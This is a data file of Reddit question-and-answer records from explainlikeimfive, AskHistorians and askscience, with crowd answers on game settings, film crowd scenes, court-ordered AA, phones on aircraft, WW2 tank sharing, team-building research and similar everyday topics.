{"q_id": "br8riy", "title": "why do some video game and computer program graphical options have to be \"applied\" manually while others change the instant you change the setting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/br8riy/eli5_why_do_some_video_game_and_computer_program/", "answers": {"a_id": ["eob5qkc", "eob7mt8", "eob7yz3", "eobfp5m", "eobfqoz", "eobiq3g", "eobmf70", "eobn6vw", "eobo6dw", "eobom83", "eobqo2a", "eobrpr7", "eobsg35", "eobud7r", "eobuy6h", "eobw7wk", "eobw9od", "eobwpjg", "eobwwdh", "eoc1c3n", "eodxkpo", "eoebmc9", "eoet5p1"], "score": [2, 3220, 13, 850, 2, 18, 6, 57, 2, 13, 3, 5, 2, 2, 12, 144, 5, 4, 17, 14, 2, 2, 2], "text": ["Because some settings are applied at start up and won\u2019t take effect until you restart whereas others such as resolution will change instantly because it doesn\u2019t take much computing power and is required immediately", "That mostly depends on game engine's source code. Some are good, some are not so. Usually, resources need reloading when settings changed, and sometimes API requires recreating all objects. Usually when game requires restart to apply some options, that's because game engine need all resources to be reloaded under new settings and it's easier to do it just by restarting than by actual reloading.", "Mostly because of the underlying workings of said settings.\n\nPossibly interaction with other settings. Also the different setting could mean a different initialisation value, requiring a full restart.\n\nI can give you a simple example that is easy to understand: translations. Some applications can do it on the fly, others require a restart. A common reason for this is that the language stuff is in a dedicated dll with each language on a different dll. Since dlls cannot (or may not) be unloaded it is not (or may not) possible to ditch the resources of the original language.", "Think of it like changing settings to your car. Let's say you want to change the pressure of your tires for a rocky road ahead. You would want to stop your car and change the settings of the tires. Other settings like the speed of your windshield wipers you can change while your driving. There are just some things in software that are running so in order to change them you need to stop the program.\n\nEdit: Thanks for the silver kind redditor!", "There are things you can do immediately, and things you want to do in a batch, just to save time. If you need milk, bread, cheese, and eggs, you go to the grocery store with that list, buy them all, and bring them home. Now your house is updated with the things you got from the store, and it took less time, gas, and energy than if you had made a separate trip for each of them.\n\n & #x200B;\n\nThat's the crux of it, really. If you wanted to check the mail, you'd run down to the mailbox and just check the mail. Takes very little time and energy, depending on where you mailbox is. But if you wanted to go to the storage unit and dig out ten things you have stored there, you'll do it in one single, larger trip.\n\n & #x200B;\n\nI hope that makes sense in context. Things like changing the screen resolution and brightness can be done instantly, because they are basically checking the mail. More intense settings need to be applied so they can be done all at once and save your computer time and resource usage, usually.", "It mostly depends on how the developer designed the UI to provide a certain experience to the user and also to meet some expectations on how an UI should work.\n\nFor example if you are changing the style of your character it makes sense to show the change immediately after you made your choice. On the other end if you are changing some settings that require reloading of the interface this might get annoying fast if done at each change so it makes more sense to apply all of them at once and be done with it.", "Because most game settings are loaded only at the start of the game. If you want to reload new settings again, you must restart the game. P.S I am a game developer.", "I am no expert so correct me if I am wrong.\n\nCertain physical assets such as textures may be loaded from a file so we first remove the old texture and replace it with a new one.\n\nOther things are calculated like shadows, so if we apply a more complex algorithm we can get a nicer shadow, we can calculate this on the fly without loading any assets.", "It depends on how the game is programmed. Are these settings applied at loading the full game? Or loading a level or a mission ina game? Something like the crosshairs gets loaded when the mission gets loaded but something like the resolution gets loaded when the game gets loaded. They could probably figure out a way to load all of these on demand and switch em whenever they want. However some of these things are too complicated for what it\u2019s worth.", "Textures get loaded at full resolution and then downscaled on game load.  If you change texture quality settings it has to reload the assets and do it again.  Some engines support this well, some don\u2019t.", "The code that actually calculates and runs each of these different effects is quite complex, and they all sit together in even more complex chains. Certain effects can only be calculated after others have been done, and so on.\n\nWhen you fire up a game, it will *generally* only load the code for the effects it needs, and chain them together in the most efficient order, based on what you've got set in the settings. Having the ability to change which effects are loaded once they're loaded, and which order they go in, isn't a simple thing - so some game engines can't do it.\n\nThus, if you go into the settings and change which effects you want, and the game's underlying code isn't smart enough, it'll have to save those settings, and load itself fresh from the start. Other engines are more sophisticated, and the developers have taken the time to allow these chains to be modified after being loaded.", "lol at some of the answers here\n\nit really just depends on how whoever programmed the engine and interface decided to implement them, there's mostly absolutely no constraint\n\nsometimes it's more interesting to validate a setting with a function linked to an apply button rather than instantly change whatever variable is linked to the setting ( as sometimes it can mean using a wholly different codepath (switching between different anti-aliasing methods for example, that's an ugly one))\n\n & #x200B;\n\nregarding the way people misinterpreted your question (i.e. why sometimes you need to restart the app when changing settings), that's absolutely only due to the programmer being a lazy fuck and not bothering to implement a proper context changing function, so he'd rather write the new config, bail out and reload with the new settings (truly I don't blame them)\n\n & #x200B;\n\nsource: i like writing game engines from scratch", "Think of your house. When you want things brighter, you can flip a switch and a light goes on. Some game features are more like wanting a different bulb altogether. Maybe a softer color. For that, you need to turn everything off, and replace the bulb. If you spend some more money up front, you can get one of those bulbs that can adjust its color through an app, while it\u2019s on! Game developers make trade offs based on how expensive it is to add a feature. Sometimes it\u2019s cheaper  to go with the \u201creplace a bulb\u201d way, if it\u2019s something that doesn\u2019t change too often \u2014 or if the \u201csoftware controlled lightbulb\u201d approach is too complicated.", "It's not just graphical settings - it's the basic principle of caching information to memory so you don't have to re-fetch it every time using a slower process.\n\nThis applies to all computer programs, and even the OS (i.e. restarting your computer/phone).", "Think of the program like a workplace.\n\nSending out a memo for a price change is easy. You can do that during a workday. That is what it is like to change a simple setting.\n\nHowever, asking all employees to change their uniform to a different one would require a significant logistics planning to perform while everyone is at work. It would require changing rooms, and rotating employees in. Unless you are fine with your business entirely pausing (program freezing) while everyone changes.\n\nIt is simpler in the second example to just send employees home with a note to come dressed differently tomorrow. Especially if the dress code rarely changes.\n\nThe clothes are the different variables/functions/resources that would need to be loaded to change an integral setting.", "so much half knowledge in this thread...\n\nunbelievable\n\n & #x200B;\n\nthe only valid answer is :\n\nIs it possible to do without reloading : YES , always - requires good coding discipline and experienced coders and proper team lead to make sure everyone knows what they need to know.\n\n & #x200B;\n\nWhy is it not done everywhere? :\n\nCOST - resetting is easier and shorter to code than the \"reset to clean state but leave everything running\"", "It actually applies to a lot of design of both software and hardware. You'll have some initialization you do on startup. As a designer/engineer/developer, the least amount of additional work needed to support modifying a setting is to just re-run that initialization process. As an added bonus, it's less likely to introduce a bug, since that single initialization process can be tested more thoroughly.\n\nNow, if you want to change individual settings and apply them individually, you have to break that initialization up into different sections. You have to pull out all the error checking/handling, all the consistency checks, etc. The amount of development goes up.\n\nIn short, it's easier to check and apply everything at once. But the user experience is better if you can do things individually and see the results immediately. So there's a tradeoff.", "It's mainly a user interface design choice.\n\nMany graphics settings affect or interact with each other.  When adjusting settings, you may need to change several and then apply them all at once to see what the overall effect looks like.  \n\nIf each change was applied independently the instant you made the change, then you wouldn't be able to easily see the difference that your overall selection of changes made.  \n\nApplying the settings changes all at once makes it really easy to do an A-B comparison between old and new settings.\n\nAnother reason for the \"Apply Changes\" design choice is that it allows you to easily cancel.  The pending changes are staged, and you can easily back out of them without having to reload anything.  If the changes were applied the instant you made them, then they would have to be undone in order to \"cancel\" them, and you'd end up reloading twice.", "It's significantly easier to just shut it down and start everything over. Much less time to program and much easier to avoid bugs.", "I'm a developer who has programmed a game engine from scratch. The reason some settings can be applied instantly and some need to be \"applied\" is because of how it is coded. It takes extra work to develop a system that is able to change on the fly and still run efficiently. Also like others have said, it is much easier and safer (less likely to create bugs) if everything is wiped from memory and everything is loaded again with new settings.", "Okay so you're programming on Windows and you want to make a window with some buttons, text input boxes, checkboxes, [radio buttons](_URL_0_), etc; a settings menu, let's say. To make everything easy for the programmer and consistent across the OS, Windows provides these widgets to all programs on the system. An arbitrary program just needs to tell Windows \"Put a checkbox with text label 'Some String of Text' at some particular place in this window\", and Windows takes care of how exactly that checkbox works (how it looks (animation maybe?), how it behaves (response to being clicked, text input, mouse hover, etc)). Then, a few lines down in the program, the programmer can ask Windows \"What is the state of that checkbox I created a while ago?\" and Windows will answer \"checked\" or \"unchecked\". Or the programmer can ask for the value of a particular text input box and Windows will respond with the text contained in the box. \n\nThe programmer can also tell Windows stuff like \"When this widget is interacted with in this particular way, run that particular function that I wrote\". So some programs just do that for every widget on screen, and save each change somewhere every time the user changes anything. Usually this is what's going on when you don't have to Apply or Save your settings. Each time you change a setting it gets autosaved right then and there. So when you've set everything how you want, just exit the settings window and you're good to go.\n\nBut there's a cost here. If the user is messing around with game controls, those settings don't need to be updated in the game memory until the player starts playing again, so it doesn't make sense to go through the effort of updating each setting each time it changes. And for some settings, like graphics settings, a lot of work/reloading has to happen in the background to apply your change. So it makes more sense to just have the user set everything how they want without their changes going into effect, and then give them buttons to actually enable all of these changes, with the understanding that clicking said buttons might result in several seconds (or, especially back in the day, minutes) of downtime while the game gets everything in order. The standard three buttons are \"Ok\" (apply changes and exit this menu), \"Apply\" (apply changes but stay in this menu), and \"Cancel\" (exit this menu without saving changes). \n\nAs computers have become more powerful and UI programming has become more flexible (at this point most games draw all of their own widgets instead of using the OS widgets), programs and games have started moving to autosaving by reacting to every UI event, and only use the Ok/Apply/Cancel scheme for things like changing graphics settings, since there's no getting around that momentary black screen, or the possibility that the new settings will be completely unusable on your screen.", "Basically, as a programmer programming the game is like a chef, here's an analogy that might make some sense:  \n\n\nWhen you launched the game, I  the chef-programmer, made you an omelette, with cheese and chopped onions and tomatoes filling inside it.\n\n & #x200B;\n\nNow, you go to the settings menu and say: \"Hey, I want some chives with that\"\n\nMe, the chef-programmer: \"Oh, no problem, let me just sprinkle that on top, easy enough\" (\\*just apply the settings in-game\\*)\n\n & #x200B;\n\nYou, the gamer-customer: \"Hey, that's cool, but can you also change the cheese on the inside from parmesan to feta?\"\n\nMe, the chef-programmer:\n\n\"Hmm, I could try nicking the omelette open, draining all the parmesan cheese out and then trying to fill it back in with feta without somehow ruining the omelette and keeping onions and tomatoes inside it\" (\\*careful reloading - preventing restart\\*)\n\n & #x200B;\n\nOR\n\n & #x200B;\n\n\"Hm, I could just toss the whole omelette out and make you a new one with the stuff you want inside it. That'd probably be easier\" (\\*restart the game\\*)", "While technical issues do play a role, it often comes down to usability. Do you really want to scroll through 20 different resolution presets and apply the changes every single time immediately? Or load new geometry every time you adjust the details? Probably not, use a button instead. But now your menu becomes inconsistent because you need the apply-button for 2-3 settings and nothing else. Inconsistency is one of your worst enemies, so let's not do that. If you want to be really sneaky, you can add an \"apply and back\" button and rename it to something else."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Radio_button"], [], []]}
{"q_id": "32v3iq", "title": "how do movies manage to show scenes of hundreds or sometimes thousands of people in a crowd? is it cgi effects or that many extras?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32v3iq/eli5how_do_movies_manage_to_show_scenes_of/", "answers": {"a_id": ["cqewdkh", "cqewkpa", "cqewld8"], "score": [5, 2, 3], "text": ["CGI, they'll either CGI the entire army or film a few shots of \"army guy standing there\" and then copy paste them all over the field.", "It depends War and Peace used extras as did Zulu, newer films use CGI but LOTR had a lot of extras and  CGI", "Depends on the movie. Many modern movies use CGI because it's cheaper and easier. Old movies had to use real people, because that was the only option"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "sjw9e", "title": "what is spintronics?", "selftext": "What is it?\nWhat kinds of new capabilities will this technology give us?\n\nT(om)Hanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/sjw9e/eli5_what_is_spintronics/", "answers": {"a_id": ["c4emnmy"], "score": [2], "text": ["Electronics function on the principle of electron transport (i.e. current). Your computer is powered by work done by a flowing stream of electrons.\n\nSpintronics functions on the principle of a traveling perturbation in the  electron's spin magnetic spin states.\n\nThink of the difference between snapping a rope and creating a travelling wave in it, and simply throwing the rope. In the first case the perturbation moves through the rope, in the second the rope itself moves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8bqda7", "title": "why do hands get \u201cclammy\u201d unlike other parts of the body that get sweaty?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8bqda7/eli5_why_do_hands_get_clammy_unlike_other_parts/", "answers": {"a_id": ["dx8rhwu"], "score": [2], "text": ["Clammy hands are caused by sweat as well (many eccrine glands are on your palms)\n\nIt's just that hands *also* get vaso-constriction (Narrowing of blood vessels), and that makes your hands extra cold in combination with the evaporation of sweat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1z1dv4", "title": "how are courts legally allowed to force someone to attend aa, when a majority of the of the steps include religion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1z1dv4/eli5_how_are_courts_legally_allowed_to_force/", "answers": {"a_id": ["cfpmlyu", "cfpmo6c", "cfpnbhu", "cfpo78n", "cfppqdt", "cfpqdso", "cfpqmdz", "cfpz31l"], "score": [3, 38, 3, 24, 8, 6, 4, 2], "text": ["The binds of religion in America is overwhelming. ", "It's been challenged, and in those instances has been found unconstitutional.  Though, apparently since the defendant is given the option to attend (versus going to jail), it's fairly easy to work around.\n\n >  Three federal circuit courts have held that coerced participation in \u201creligion-based\u201d treatment programs like AA and NA violates the First Amendment. As the Ninth U.S. Circuit Court of Appeals in San Francisco put it, \"While we in no way denigrate the fine work of [Alcoholics Anonymous and Narcotics Anonymous], attendance in their programs may not be coerced by the state.\"   [\\(source\\)](_URL_0_)", "Truly, many of these people show up for a one hour meeting x times per week, get their slip signed showing they were there and bail.\n\nThe others that actually want help, stay, learn, and practice the steps and succeed. ", "Most of the time, from my experience, the Court only orders that the defendant attend some form of substance abuse counselling, not specifically AA/NA/etc.    \n    \nRehabilitation for the addicted is a mercy in our justice system, which is hard to come by.  ", "I think Penn and Teller explain it best, here is the full episode.\n\n_URL_0_", "1. AA claims it isn't religious, and the courts believe them.\n2. AA wants you to be there because you want to be there. As such, they don't really want courts to do this. Many AA groups will simply sign the slips validating that the court-forced people attended and then go on with the meeting. If they go, they go, if they stay, they stay.", "There are alternatives. There are non-religious anti-drinking groups that are often going to be acceptable substitutes, and in some areas there are actually AA groups that have rewritten everything to remove religion and god or higher powers.", "Why on earth do AA treatment plans include religion?! Why would they need that? As some sort of anchor? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.thefix.com/content/court-forced-12-step?page=all"], [], [], ["http://www.youtube.com/watch?v=yUG9dr6SZSY"], [], [], []]}
{"q_id": "1v00en", "title": "Are there records detailing what the Spanish thought about New World dogs?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1v00en/are_there_records_detailing_what_the_spanish/", "answers": {"a_id": ["ceo6zg2"], "score": [5], "text": ["I've got an odd source that has some bearing on your question. \"Monsters of Patagonia\" is a book by Austin Whittall devoted to cryptozoological reports from Patagonia. Many of the cases he discusses are tied to either native folklore (tribal memory of now extinct 'megafauna') or the reports of early explorers.\n  Toward the end of the book, Whittall discusses historical reports of canids (dogs, wolves, etc.) from Patagonia. WITHIN this section (p.254-255), he discusses the native Patagonian dogs. The breeds possessed by the native Patagonians have either now gone extinct, or have been so intermingled with other breeds that they are lost. Thus, we cannot easily get at the question of where the Patagonians got their dogs (brought over the Bering landbridge, domesticated an American wolf independently, etc.).\n  The Aonikenks of southern Patagonia hunted with a large dog that resembled a deer hound. The Spanish explorer Sarmiento de Gamboa saw them in 1579, and described them as having a brindled coat and were larger than Irish wolfhounds (I'm pulling from Whittall's text here, p. 254). Direct quote from Sarmiento de Gamboa, \"It was noteworthy that our dogs, and those of the natives, flew at each other until they came within four paces, when they turned round without touching and we could never get them to attack again.\" \n  The Selk'nam of Terra del Fuego had not a domesticated dog, but a domesticated fox (now extinct). Whittall does not have any recorded Spanish thoughts on the Fuegian 'dog', but I would not be surprised if there were such accounts out there. \n  Whittall cites an old book \"The Natural History of Dogs: Canidae or Genus Canis\" by Hamilton Smith (1840)m which has sections on the Patagonian dog and the Fuegian Dog. And, it is available free on Googlebooks:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=jyYOAAAAQAAJ&amp;printsec=frontcover&amp;dq=the+natural+history+of+dogs&amp;hl=en&amp;sa=X&amp;ei=0V_TUsGQJ6fl2QWr24CoBQ&amp;ved=0CC8Q6AEwAA#v=onepage&amp;q=the%20natural%20history%20of%20dogs&amp;f=false"]]}
{"q_id": "htpsy", "title": "Will consumer grade electronics interfere with an airplanes avionics?", "selftext": "Will my BlackBerry make the plane explode? Because that's what the stewardess implied.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/htpsy/will_consumer_grade_electronics_interfere_with_an/", "answers": {"a_id": ["c1ya74v", "c1ya9no", "c1yah6b", "c1yajgm", "c1yb2kq", "c1ybdbh"], "score": [9, 37, 24, 8, 2, 3], "text": ["All electronics on an airplane should be shielded, ie you shouldn't be able to interfere with them with your phone. That said, do you really want everyone on the plane using their phones in flight?", "No. Cell phone usage on airplanes are banned by the Federal Communications Commission, not the Federal Aviation Agency. This is because the FCC doesn't want cell phones clogging up network by constantly finding a new tower as the plane flies over them. If there is a safety concern, the FAA would be the ones issuing a ban.", "Disclaimer: I'm a pilot, not a scientist.\n\nWhile cell phones won't disrupt any instruments or flight-critical systems, they can cause interference with the pilots' communication radios. It's the same phenomenon as when you put your phone next to speaker wire and it buzzes and pops.", "There are two reasons to ban transmitting electronics:\n\n* given the rapid advances in technologies, it is hard to anticipate exactly what effect they might have in the hands of 200 passengers\n* takeoffs and landings are the most dangerous parts of the flight, so it is important that passengers are not distracted at those times\n\nThese aren't the most compelling reasons, but the air industry is pretty conservative when it comes to safety...they would rather impose a minor inconvenience on everyone than expose themselves to the tiniest risk.  ", "Big discussion about this at _URL_1_\n\n_URL_0_", "Follow up question...\n\nI find it intuitive that a transmission device like a phone could do *some*thing detrimental. What about things with no connectivity, like my Kindle or MP3 player (both with wifi off)?\n\nI've always assumed they just tell you to turn off *everything* so they don't have to deal with people arguing that \"durr this iPhone isn't just a phone, it's also a music player so it falls under the don't-turn-off category!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.airliners.net/aviation-forums/general_aviation/read.main/5159777/", "airliners.net"], []]}
{"q_id": "40wrno", "title": "During WW2 why didnt the Germans just \"share\" their tank designs to Allies like Italy and Japan rather then having spend spend time and resources developing their own?", "selftext": "Italian and Particularly Japanese tanks were generally inferior to most allied tanks such as the Sherman. \n\n\nBoth Nations only made tanks comparable to the sherman ( > 50mm armor, 75mm gun) very late in the war, too late\n\n\nWas it so hard to lend and then produce a panzer 3?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40wrno/during_ww2_why_didnt_the_germans_just_share_their/", "answers": {"a_id": ["cyxqvxn", "cyy69uw", "cyygi7d", "cyyhz3d", "cyyl96a"], "score": [921, 34, 12, 7, 6], "text": ["The Japanese in fact tried to purchase a Tiger I tank and the designs to make one. Problem is they couldn't even transport the sample to Japan and it ended up being donated right back to the German Army after Japan paid a hefty sum.\n\nMoreover the real issue was the industrial base. Japan and Italy could have made much larger tanks but they couldn't consistently produce them or keep them working. It is one thing to dream up of a 100 ton tank design. It is an entirely different thing to actually build one. And all that effort of dreaming up a tank and building it completely pales in comparison to the effort required to keep it running.\n\nFor reference, the Tiger I tank was so maintenance-intensive that it had to be kept in separate independent battalions with their own logistics trains of 130 trucks and dozens of assorted repair vehicles (see Wolfgang Schneider's \"Tigers in Combat\"). By contrast a US Army Sherman battalion had a logistical tail of only 30 trucks. When one considers that a Tiger battalion had only 45 tanks compared to the Sherman battalion's 60, then one can see that the running cost of a Tiger was more than four times that of the Sherman based on the number of support vehicles alone! And we haven't even taken into account fuel and spare parts costs.\n\nTo further illustrate: There were actually some monstrous Japanese tank designs such as the O-I which were proposed to the military and would have weighed more than 100 tons. None saw action and it's doubtful any even got past the prototype phase (as is claimed by some dubious sources). They were simply too big and beyond Japan's ability to build and maintain. \n\nFinally, and most importantly, the value of armor thickness and gunpower were vastly overrated. US Marines in fact valued the M3 Stuart in many of their Pacific battles more than any other tank because it was more mobile in jungle terrain. A tank doesn't need to have the best armor or gunpower to be an effective tank - the vast majority of engagements fought by tanks were against infantry. And even in the rare tank vs tank battle the tank which scored the first hit often won regardless of gunpower or armor value - Allied studies consistently showed that more than 70% of hits were to the side and rear, hence most tanks were in fact disabled after the first shot regardless of how thick their front armor was.", " In 1943 Fiat-Ansaldo were granted a licence to produce Panther tanks but with the Italian surrender it came to nothing.  \nSource here: _URL_0_\n\n  I'm sure I read somewhere that the Hungarians wanted to build German tanks but the makers wanted a ridiculous amount for the licence. Does anybody have any more information on this? ", "Japan tried.\n\n\"The Japanese government bought two Panzer IIIs from their German allies during the war (one 50 mm and one 75 mm). Purportedly this was for reverse engineering purposes, since Japan put more emphasis on the development of new military aircraft and naval technology and had been dependent on European influence in designing new tanks. By the time the vehicles were delivered, the Panzer III's technology was obsolete.\"\n\n - Zaloga, Steven J. (2007). Japanese Tanks 1939\u201345. Oxford: Osprey. p. 17. ISBN 1-84603-091-9.", "I have a better answer than most. The big hold ups for Germany to share tank technology were cost and the distance between the countries. Japan, initially felt heavy tanks were not important to its island and southeast Asia invasion plans. Light tanks served their purpose and aviation (fighter bombers) were their primary shock weapon for ground assaults. Japan also had no intention in attacking Russia until Moscow had fallen, a fact uncovered by the Russians which made them confident when shifting Siberian divisions to halt the Nazi onslaught.\n\nIn 1943, Japan worried about American landings and requested information on heavy tanks. Germany sent Japan two packages of technical documentation, and Japan wanted to purchase the tank. However, the cost to produce a Tiger was around 300,000 Reichsmarks in 1943, while the Ministry of Armaments and the Henschel Company requested 645,000 Reichsmarks from the Japanese for a fully loaded tank. The Germans had not simply decided to \u201ccash in\u201d on oversea allies: the cost of technical documentation was also included into the amount; and the tank would be supplied with ammunition, an excellent radio, and optics. Also, Germany was prepared to disassemble and pack the thirty-ton tank for shipment by submarine to Japan.\n\nIn 1944, a lease for the tiger was authorized, but shipping it to Japan proved difficult. In June and July, the Allied landings at Normandy cut off German submarine bases at Bordeaux that were the only viable port for shipping the tank. \n\nSources: \n\u2022    \u201cTiger Heavy Tank. Lethal Weapon of the Reich\u201d by Mikhail Baryatinskiy\n\u2022    Germany\u2019s Tiger Tanks. Thomas L. Jentz, Hilary L. Doyle\n\n_URL_0_\n\n\n\n", "There was a belated attempt to transfer technology:\nSee: _URL_0_\n\n\"U-234 departed Kiel on its maiden voyage on 25 March 1945, bound for Kristiansand, Norway. There it loaded important cargo and personnel and departed on 15 April for a submerged voyage which was to take them around the Cape of Good Hope, eventually concluding in Japan. That transit was never completed.\n\nAmong the three hundred ton cargo was three complete Messerschmitt aircraft, a Henschel HS-293 glider-bomb, extra Junkers jet engines, and ten canisters containing 560 kg (1,235 lbs.) of uranium oxide (U235). The uranium oxide was to be used by the Japanese as a catalyst for the production of synthetic methanol used for aviation fuel. Other cargo consisted of one ton of diplomatic mail and 6,615 pounds of technical material including drawings of ME 163 and ME 262 aircraft, plans for the building of aircraft factories, V-1 and V-2 weapons, naval ships (destroyers of classes 36C and Z51, and M and S boats), and submarines (Types II, VII, IX, X, XI, XXI, and XXIII). German fire-control computers, Lorenz 7H2 bombsights, Lufte 7D bombsight computers, FUG 200 Hohehtweil airborne radars and bomb fuses were also included in the manifest along with other military equipment and personal luggage.\n\nPrevious examinations of the voyage of U-234 have centered on the cargo carried by the vessel. The presence of the uranium oxide, for example, has generated much interest and conjecture. Scalia, however, shifts this focus, and argues that the submarine's greatest value lay not in her cargo, but in the individuals who were accompanying the material to Japan.\n\nThe twelve passengers included a German general and his staff, four German naval officers, civilian engineers and scientists, and two Japanese naval officers. The latter were Lt. Cdr. Tomanaga Hideo, a naval aviator and submarine specialist who had come to Germany by Japanese submarine I-29 in 1943, and Lt. Shoji Genzo, an aircraft specialist and former naval attach in several European countries.\"\n\nSource: Joseph M. Scalia. Germany's Last Mission to Japan: The Failed Voyage of U-234. Annapolis: Naval Institute Press, 2000. xxiv + 296 pp. $29.95 (cloth), ISBN 978-1-55750-811-9."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www-d0.fnal.gov/~turcot/Armour/pz4.htm"], [], ["http://imgur.com/sdU9jH6"], ["http://www.h-net.org/reviews/showrev.php?id=4048"]]}
{"q_id": "6zym3r", "title": "What is the evidence supporting the effect of \"leadership\" or \"team-building\" courses in business?", "selftext": "I know that these courses are often ridiculed in popular culture but they seem to be fairly widespread. Is there any good evidence supporting their use? Do we know how long the effects last?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6zym3r/what_is_the_evidence_supporting_the_effect_of/", "answers": {"a_id": ["dn07i1k", "dmzchnx", "dn07i1k"], "score": [6, 30, 6], "text": ["The evidence appears to be contradicting each other, [but a recent meta-analysis from 2009](_URL_0_) ([PDF](_URL_1_)) suggests that there is a significant positive effect in team building interventions with regards to performance. The authors say that the effect of interventions depend on group size, because large groups (without team building) are in a worse starting position than small- and medium-sized groups. Therefore, larger groups seem to get a larger beneficial effect.", "There's a book I'm reading at the moment called \"The Rocket Model\" written by Industrial/Organizational Psychology Gordon Curphy. This book presents a model for team building, specifically high performing teams.  His model is based on sound research, and the model is meant to be used to measure and sustain the high performance of teams.\n\nOne of his motivations for creating the Rocket Model was sparked precisely by the answer to your question. There is no evidence that leadership courses or team building courses work and that's a big problem. There's not really a follow up process or disciplined process for measuring the outcomes of these courses. So without reliable data why should we expect them to work?\n\nIf you are interested, there's a great podcast \"The Team Coaching Zone\" with Dr. Curphy and it's a good overview of his background, the Rocket Model and the current state of the leadership training industry.", "The evidence appears to be contradicting each other, [but a recent meta-analysis from 2009](_URL_0_) ([PDF](_URL_1_)) suggests that there is a significant positive effect in team building interventions with regards to performance. The authors say that the effect of interventions depend on group size, because large groups (without team building) are in a worse starting position than small- and medium-sized groups. Therefore, larger groups seem to get a larger beneficial effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.sagepub.com/doi/abs/10.1177/1046496408328821", "https://www.researchgate.net/profile/Deborah_Diazgranados2/publication/220030881_Does_Team_Building_Work/links/542ebb840cf277d58e8eda89.pdf"], [], ["http://journals.sagepub.com/doi/abs/10.1177/1046496408328821", "https://www.researchgate.net/profile/Deborah_Diazgranados2/publication/220030881_Does_Team_Building_Work/links/542ebb840cf277d58e8eda89.pdf"]]}
{"q_id": "2rbeqd", "title": "what exactly does a soundbar do that a home theater cant? why the sudden boom?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rbeqd/eli5_what_exactly_does_a_soundbar_do_that_a_home/", "answers": {"a_id": ["cne92gk", "cne9nug", "cned03d"], "score": [14, 5, 3], "text": ["Be set up super easily and for cheaper. A true sound system is going to sound better but sound bars are simple attractive and require very little set up", "Nothing, they just act as the center channel for surround sound and the left/right sound for stereo.  \n  \nThe only reason to get a soundbar is if you don't have a big enough budget for a surround sound setup, or you don't have the ideal room space/configuration.", "There are a lot of TV's with built-in speakers that sound like crap. A sounbar is an cheap way of improving the sound a lot and they are are small enough to fit under the tv-display."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "27xzfz", "title": "why did republicans kill elizabeth warren's bill on student loan debt?", "selftext": "I've heard the speculation regarding the Republicans not wanting the Democrats to have such an impressive bragging right during the primaries.  Are politics really that petty (don't answer that part) or was there a legitimate, arguable case to be made by not allowing this bill to pass?  Or is it as Senator Warren proclaimed when she said this bill would show who Congress truly works for \"the people or the billionaires\".", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27xzfz/eli5_why_did_republicans_kill_elizabeth_warrens/", "answers": {"a_id": ["ci5i35f", "ci5i4yz", "ci5i7kx"], "score": [2, 18, 3], "text": ["Why subsidies for education? The cost of college is going up roughly 30% which is way higher than inflation. If we the people continue to just take loans to pay for and perhaps not even finish school, price will continue to rise along with debt. Capitalism only works when people refuse to pay the price increase  ", "It had a new tax bundled with it. It wouldn't encourage anybody to go to school since it mainly dealt with past debt. It would cost the government money. It just rewards people who already entered into a contract they now regret at the expense of the people who didn't. Unlike when the government did this for housing, there's not a resale market that needs to be propped up.\n\nI don't know why they didn't vote for it, but those are reasons why I could see somebody not supporting it. I can't see most Republicans supporting any of those things. \n", "Instead of solving the problem the bill was simply throwing more money at it.  Consider the REAL problem is the cost of college education is high, which means people need to borrow money to go to college.  Ok, everyone is on the same page there.  Republicans want to stop the colleges from increasing tuition rates much faster than inflation.  Democrats want to give more money to people to pay those inflated rates.  Which is the right answer?\n\nWell, if you make more money available out there without stopping the colleges from inflating their rates you'll just end up paying more for something which shouldn't cost that much... but does because people have the money to pay that much.\n\nPut another way, Republicans say \"Hey, you're charging too much.\"  Democrats say \"Hey, it costs too much so let's give the buyer more money.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
